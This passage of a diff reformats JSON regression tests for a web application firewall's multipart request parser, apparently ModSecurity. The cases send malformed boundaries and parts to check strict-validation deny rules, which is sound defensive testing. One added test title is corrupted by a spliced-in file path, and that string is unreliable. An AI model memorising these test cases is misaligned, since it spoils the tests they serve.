name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "boundary was quoted", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary value - contained quote)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "270", + "Content-Type": "multipart/form-data;boundary=\"00\"00\"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--00\"00\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--00\"00\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--00\"00\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--00\"00--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(characters\\)", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary value - two quoted values)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "270", + "Content-Type": "multipart/form-data;boundary=\"00\"\"00\"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--00\"00\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--00\"00\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--00\"00\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--00\"00--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(characters\\)", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (partial quoted boundary value - only start quote)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=\"0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(quote\\)", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (partial quoted boundary value - only end quote)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=0000\"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(quote\\)", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (multipart mixed - normal)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "Brian Rectanus\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"email\"\r\n", + "\r\n", + "brian.rectanus@breach.com\r\n", + "--0000\r\n", + "Content-Disposition: attachment\r\n", + "Content-Type: multipart/mixed; boundary=BbC04y\r\n", + "\r\n", + "--BbC04y\r\n", + "Content-Disposition: file; filename=\"file1.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "... contents of file1.txt ...\r\n", + "--BbC04y\r\n", + "Content-Disposition: file; filename=\"file2.gif\r\n", + "Content-Type: image/jpeg\r\n", + "Content-Transfer-Encoding: binary\r\n", + "\r\n", + "...contents of file2.gif...\r\n", + "--0000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid Content-Disposition header", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 1,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (multipart mixed - missing disposition)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "490", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "Brian Rectanus\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"email\"\r\n", + "\r\n", + "brian.rectanus@breach.com\r\n", + "--0000\r\n", + "Content-Type: multipart/mixed; boundary=BbC04y\r\n", + "\r\n", + "--BbC04y\r\n", + "Content-Disposition: file; filename=\"file1.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "... contents of file1.txt ...\r\n", + "--BbC04y\r\n", + "Content-Disposition: file; filename=\"file2.gif\r\n", + "Content-Type: image/jpeg\r\n", + "Content-Transfer-Encoding: binary\r\n", + "\r\n", + "...contents of file2.gif...\r\n", + "--0000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Part missing Content-Disposition header", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 1,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (normal)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "596", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "Brian Rectanus\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"email\"\r\n", + "\r\n", + "brian.rectanus@breach.com\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"image1\"; filename=\"image1.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "BINARYDATA1\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"image2\"; filename=\"image2.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "BINARYDATA2\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"image3\"; filename=\"image3.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "BINARYDATA3\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"test\"\r\n", + "\r\n", + "This is test data.\r\n", + "--0000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Upload file limit exceeded", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecUploadKeepFiles On", + "SecUploadDir /tmp", + "SecUploadFileLimit 2", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500161\"", + "SecRule MULTIPART_FILE_LIMIT_EXCEEDED \"!@eq 1\" \"phase:2,deny,id:500162\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500163\"", + "SecRule &FILES \"!@eq 3\" \"phase:2,deny,id:500164\"", + "SecRule &FILES_NAMES \"!@eq 3\" \"phase:2,deny,id:500165\"", + "SecRule &FILES_SIZES \"!@eq 3\" \"phase:2,deny,id:500166\"", + "SecRule FILES_SIZES:/^image/ \"@eq 0\" \"phase:2,deny,id:500167\"", + "SecRule &FILES_TMPNAMES \"!@eq 2\" \"phase:2,deny,id:500168\"" + ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., no UNMATCH rule)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., no UNMATCH rule)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "549", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332273\r", + "Content-Disposition: form-data; name=\"_token\"\r", + "\r", + "9e433de44c9e9b4ce19603269aa34edb\r", + "-------------------------------8842564605616207552020332273\r", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", + "Content-Type: text/plain\r", + "\r", + "----ea520cef1a2937d8e928e357992c8fdd\r", + "Content-Transfer-Encoding: 7bit\r", + "Content-Type: text/plain; charset=US-ASCII;\r", + " format=flowed\r", + "\r", + "Test message, the txt file had been attached.\r", + "\r", + "--\r", + "Ervin\r", + "\r", + "\r", + "-------------------------------8842564605616207552020332273--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 200 }, - "rules":[ - "SecRuleEngine On" + "rules": [ + "SecRuleEngine On" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., strict mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., strict mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "569", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_token\"\r\n", + "\r\n", + "9e433de44c9e9b4ce19603269aa34edb\r\n", + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "----ea520cef1a2937d8e928e357992c8fdd\r\n", + "Content-Transfer-Encoding: 7bit\r\n", + "Content-Type: text/plain; charset=US-ASCII;\r\n", + " format=flowed\r\n", + "\r\n", + "Test message, the txt file had been attached.\r\n", + "\r\n", + "--\r\n", + "Ervin\r\n", + "\r\n", + "\r\n", + "-------------------------------8842564605616207552020332273--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., wrong lead bound., strict mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332274\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (ctest-cases/regression/request-body-parser-multipart.jsonontains foreign bound., wrong lead bound., strict mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "569", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332274\r\n", + "Content-Disposition: form-data; name=\"_token\"\r\n", + "\r\n", + "9e433de44c9e9b4ce19603269aa34edb\r\n", + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "----ea520cef1a2937d8e928e357992c8fdd\r\n", + "Content-Transfer-Encoding: 7bit\r\n", + "Content-Type: text/plain; charset=US-ASCII;\r\n", + " format=flowed\r\n", + "\r\n", + "Test message, the txt file had been attached.\r\n", + "\r\n", + "--\r\n", + "Ervin\r\n", + "\r\n", + "\r\n", + "-------------------------------8842564605616207552020332273--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., wrong sep. bound., strict mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332274\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., wrong sep. bound., strict mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "569", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": 